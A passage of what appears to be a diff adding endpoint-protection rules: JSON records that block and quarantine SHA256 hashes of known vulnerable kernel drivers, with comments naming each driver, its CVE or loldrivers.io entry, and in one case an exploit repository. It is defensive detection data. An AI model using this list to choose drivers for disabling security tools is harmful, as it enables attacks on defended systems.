+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "176d3ad5-b0d1-58fa-ab9f-98ba92b8ca05",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977979Z",
+  "creation_date": "2026-03-23T11:45:29.977981Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977986Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3ba724dd78864cd527a99673fde1bf7f9f85f2415c91708e7380fbe5e2c085dd",
+  "comment": "Vulnerable Kernel Driver (aka LgDCatcher.sys) [https://www.loldrivers.io/drivers/a8e999ee-746f-4788-9102-c1d3d2914f56/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "177548a7-5548-5218-9f2b-d3259104aa58",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148382Z",
+  "creation_date": "2026-03-23T11:45:31.148384Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148389Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7883089fb4a9f67201bde1be555948a6c62aaa841c26f965db030e6588cd0d5c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "177cb25a-7a20-57cc-ab65-bb29a79b744c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616042Z",
+  "creation_date": "2026-03-23T11:45:29.616044Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616050Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "65db1b259e305a52042e07e111f4fa4af16542c8bacd33655f753ef642228890",
+  "comment": "Phoenix Tech. vulnerable BIOS update tool (aka PhlashNT.sys and WinFlash64.sys) [https://www.loldrivers.io/drivers/be3e49ea-095e-4fdb-9529-f4c2dbb9a9fc/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "179a1c0f-1099-5ce6-809a-468f372de81d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825186Z",
+  "creation_date": "2026-03-23T11:45:30.825189Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825197Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4d81fb2f41d806cc7c79ef782de045e78e3b6947dab42dc7888375fd93a781bf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "17a1e819-a606-5845-95ae-a81bc82b2787",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475796Z",
+  "creation_date": "2026-03-23T11:45:31.475800Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475810Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0d7737e5674fbee8e70e0010d45ba9fff511a0af2bfe467a370c79b075fa6240",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "17b8f50a-2df7-5d65-b4e5-73e8028bd93e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835666Z",
+  "creation_date": "2026-03-23T11:45:30.835668Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835673Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "339158f7636138c7e5cbd797ff300e60f765626f374d5175a4c1a5a59549e944",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "17bb0317-9868-5caf-9790-5b011e2aef8b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492037Z",
+  "creation_date": "2026-03-23T11:45:31.492039Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492045Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "db71983915836c7bacf9765601439bdd1150d55a0eb110b3d566fa30b1c3178b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "17bcbb07-5889-586b-b299-430c4b8b397b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829734Z",
+  "creation_date": "2026-03-23T11:45:30.829736Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829742Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ad05b7732ac6c21b0fa72690589d7541ce30a1fb874fbb20c4ccdb7cd580a364",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "17d150c0-ab95-5516-949b-5832e334ed49",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812527Z",
+  "creation_date": "2026-03-23T11:45:31.812529Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812534Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "05c219060623be84d7d1beab607fa2a0a6389b89b8489397921dfb95d659f8cb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "17d4013f-6530-540d-8d28-fed50daadc04",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614144Z",
+  "creation_date": "2026-03-23T11:45:29.614146Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614152Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d636c011b8b2896572f5de260eb997182cc6955449b044a739bd19cbe6fdabd2",
+  "comment": "MICSYS Technology driver (aka MsIo64.sys) [CVE-2019-18845] [https://github.com/kkent030315/MsIoExploit] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "17dd6640-ee07-5841-827c-adca96d9f678",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604521Z",
+  "creation_date": "2026-03-23T11:45:29.604523Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604528Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6ae4d36cf42a3bd1ddf9dd98794b401cd995bc519a12ffbde63e63b03a2424b3",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "17f460c2-a541-56e3-99b8-40fe50200abe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456335Z",
+  "creation_date": "2026-03-23T11:45:30.456339Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456347Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a7416a7d9573f1d8873ec1b3109ec683e85412ba817e0001c3ab2d2c92043d4d",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1801d8f9-96e4-5c8d-88b0-b447c4a7aae5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480334Z",
+  "creation_date": "2026-03-23T11:45:31.480338Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480348Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b1e499701948c14970c52586b63c26e2e180a593977ecaa34b28ed749b2a15ae",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "18063a5f-4ac2-54e7-b232-3ce21d0604f9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817979Z",
+  "creation_date": "2026-03-23T11:45:31.817982Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817990Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0596f9e7390c439b1896ca0561d7cf9114f405b237da2b3fb06595a25f3cf0cd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "181b86d8-8476-59e7-b5d0-8c2616798ce7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619001Z",
+  "creation_date": "2026-03-23T11:45:29.619003Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619009Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6a95f3c5cec52da45f9b74660b81226b4314ec18e761490140173998500ae015",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "182515f3-1a2c-505f-8328-e1a87c2d4f2c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478700Z",
+  "creation_date": "2026-03-23T11:45:30.478703Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478712Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d0eb3ba0aff471d19260192784bf9f056d669b779b6eaff84e732b7124ce1d11",
+  "comment": "Vulnerable Kernel Driver (aka Tmel.sys) [https://www.loldrivers.io/drivers/1aeb1205-8b02-42b6-a563-b953ea337c19/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "18295421-b601-52d1-b06a-e7aa6e8e0d1c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604337Z",
+  "creation_date": "2026-03-23T11:45:29.604339Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604345Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7823833a22e11345c69d0c9687b3b75e0043492ed9546d6300a3f63017384538",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "182dcb61-f882-5f5e-bfc8-ade442ab6e2f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488656Z",
+  "creation_date": "2026-03-23T11:45:31.488658Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488663Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5951c107f2e358e96be1341b367d38e2a644453ba349f497efcb543a1d89c8fe",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "182ea10a-b8cf-5a22-8dad-09f0269a484b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491061Z",
+  "creation_date": "2026-03-23T11:45:31.491064Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491073Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7b3b9cbf31ed921cebf444b37d3e5a9c1b4edde8d69e1e33dbe9b4b0281ac406",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1833432c-cb1b-5089-a8ea-a00aef65c44f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488863Z",
+  "creation_date": "2026-03-23T11:45:31.488865Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488880Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cbc56a38483d9fed6030a5f5b4b2a913ed09db6f4166ed18bb3ea2377947d39b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "183b323f-567b-51ba-b497-5d19adda5df4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825041Z",
+  "creation_date": "2026-03-23T11:45:31.825043Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825048Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2e76abdf16b55e8e568a2a70f89eaa57edcf57538c082054197f6a48a313386c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "183bd5de-b815-5e2a-b644-b00596788964",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834463Z",
+  "creation_date": "2026-03-23T11:45:30.834466Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834475Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ea97ff8adb3ca8abca38cefabc8885f220dc2e937b9af1aa37afdf3b1ca87797",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1853095e-019d-5e98-a5e8-a7b5fe2d0232",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
